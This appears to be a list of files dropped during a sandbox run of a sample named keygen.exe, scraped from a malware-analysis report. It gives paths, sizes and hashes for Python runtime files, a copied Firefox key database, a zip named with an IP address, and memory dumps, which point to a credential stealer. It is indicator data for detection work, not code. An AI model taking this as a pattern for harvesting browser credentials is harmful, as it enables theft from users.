                                            • Size 48KB
                                            • SHA256 a083e83f609ed7a2fc18a95d44d8f91c9dc74842f33e19e91988e84db94c3b5b
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _queue.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\_queue.pyd
                                            • Size 30KB
                                            • SHA256 2f71046891ba279b00b70eb031fe90b379dbe84559cf49ce5d1297ea6bf47a78
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _socket.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\_socket.pyd
                                            • Size 76KB
                                            • SHA256 39715ef8d043354f0ab15f62878530a38518fb6192bc48da6a098498e8d35769
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _sqlite3.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\_sqlite3.pyd
                                            • Size 115KB
                                            • SHA256 ddbed9d48b17c54fd3005f5a868dd63cb8f3efe2c22c1821cebb2fe72836e446
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            _ssl.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\_ssl.pyd
                                            • Size 155KB
                                            • SHA256 cb42e8598e3fa53eeebf63f2af1730b9ec64614bda276ab2cd1f1c196b3d7e32
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            base_library.zip
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\base_library.zip
                                            • Size 1.4MB
                                            • SHA256 34c29a9c2ff22ac5a7add42f3aa301e9d2c98563a5c3b324f0baa6b3ae027ce8
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            cd.cp311-win_amd64.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\charset_normalizer\cd.cp311-win_amd64.pyd
                                            • Size 10KB
                                            • SHA256 45a9cb1664e2e26ea183d34652869a6a7183b0b2018e151da1e3c88213e8bc8c
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            libcrypto-1_1.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\libcrypto-1_1.dll
                                            • Size 3.3MB
                                            • SHA256 976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            libffi-8.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\libffi-8.dll
                                            • Size 34KB
                                            • SHA256 128a583e821e52b595eb4b3dda17697d3ca456ee72945f7ecce48ededad0e93c
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            libssl-1_1.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\libssl-1_1.dll
                                            • Size 686KB
                                            • SHA256 2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            pyexpat.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\pyexpat.pyd
                                            • Size 193KB
                                            • SHA256 d97f3e27130c267e7d3287d1b159f65559e84ead9090d02a01b4c7dc663cd509
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            python311.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\python311.dll
                                            • Size 5.5MB
                                            • SHA256 a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            pywintypes311.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\pywin32_system32\pywintypes311.dll
                                            • Size 132KB
                                            • SHA256 dcc14a7ed85a324e357eab7db970d8db61387c8b5d6baa23283aabd8300c4e09
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            select.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\select.pyd
                                            • Size 28KB
                                            • SHA256 0046eb32f873cde62cf29af02687b1dd43154e9fd10e0aa3d8353d3debb38790
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            sqlite3.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\sqlite3.dll
                                            • Size 1.4MB
                                            • SHA256 8d58db3067899c997c2db13baf13cd4136f3072874b3ca1f375937e37e33d800
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            unicodedata.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\unicodedata.pyd
                                            • Size 1.1MB
                                            • SHA256 ecf7836aa0d36b5880eb6f799ec402b1f2e999f78bfff6fb9a942d1d8d0b9baa
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            win32crypt.pyd
                                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI27402\win32\win32crypt.pyd
                                            • Size 122KB
                                            • SHA256 57b37eae88743fe71226365880f8870b2082a8df9775c28019f58c25f75a05c9
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            keygen.exe
                                            • Path C:\Users\Admin\AppData\Local\Temp\keygen.exe
                                            • Size 442KB
                                            • SHA256 daf3e140087659ad4ae82493c95ca40f88aae3b26368a529d6384af5c9ce8a58
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            messages.json
                                            • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir2372_1798700495\CRX_INSTALL\_locales\en\messages.json
                                            • Size 450B
                                            • SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
                                            • MD5 SHA1 SHA512 TLSH
                                            Submit Download

                                            [85.203.46.248][XX]00-16-42-09-07-26.zip
                                            • Path C:\Users\Admin\AppData\Local\[85.203.46.248][XX]00-16-42-09-07-26.zip
                                            • Size 585KB
                                            • SHA256 acdfaa07199e5f1427870b0244cfbe9a3bd40c015fe4fd5a28096ca0b8d8fc12
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            key4_temp.db
                                            • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6088y0oq.default-release\key4_temp.db
                                            • Size 288KB
                                            • SHA256 3327df5fc7811a01c406cce3fa3c33fdbfacf7624ff40f1b75eb34a6aa642832
                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                            Submit Download

                                            memory/364-1061-0x000001FBA43C0000-0x000001FBA465E000-memory.dmp
                                            Download

                                            memory/1908-854-0x0000011FECC40000-0x0000011FECC62000-memory.dmp
                                            Download

                                            memory/2508-899-0x00000200801E0000-0x00000200802E0000-memory.dmp
                                            Download

                                            memory/2508-907-0x0000020083A30000-0x0000020083A50000-memory.dmp
                                            Download

                                            memory/2508-1060-0x0000020097B90000-0x0000020097E2E000-memory.dmp
                                            Download

                                            memory/2508-900-0x00000200801E0000-0x00000200802E0000-memory.dmp
                                            Download

                                            memory/2508-945-0x00000200946D0000-0x00000200946F0000-memory.dmp
                                            Download

                                            memory/2508-901-0x00000200801E0000-0x00000200802E0000-memory.dmp
                                            Download

                                            memory/2508-910-0x0000020093E70000-0x0000020093F70000-memory.dmp
                                            Download

                                            memory/2508-926-0x0000020083C90000-0x0000020083CB0000-memory.dmp
                                            Download

                                            memory/3192-869-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-1071-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-587-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-126-0x0000000000400000-0x0000000000441000-memory.dmp
                                            Download

                                            memory/3192-134-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-586-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-1062-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-1065-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-1068-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-1002-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-1074-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-1078-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-1081-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-1084-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-1087-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-1090-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download

                                            memory/3192-1093-0x0000000010000000-0x0000000010013000-memory.dmp
                                            Download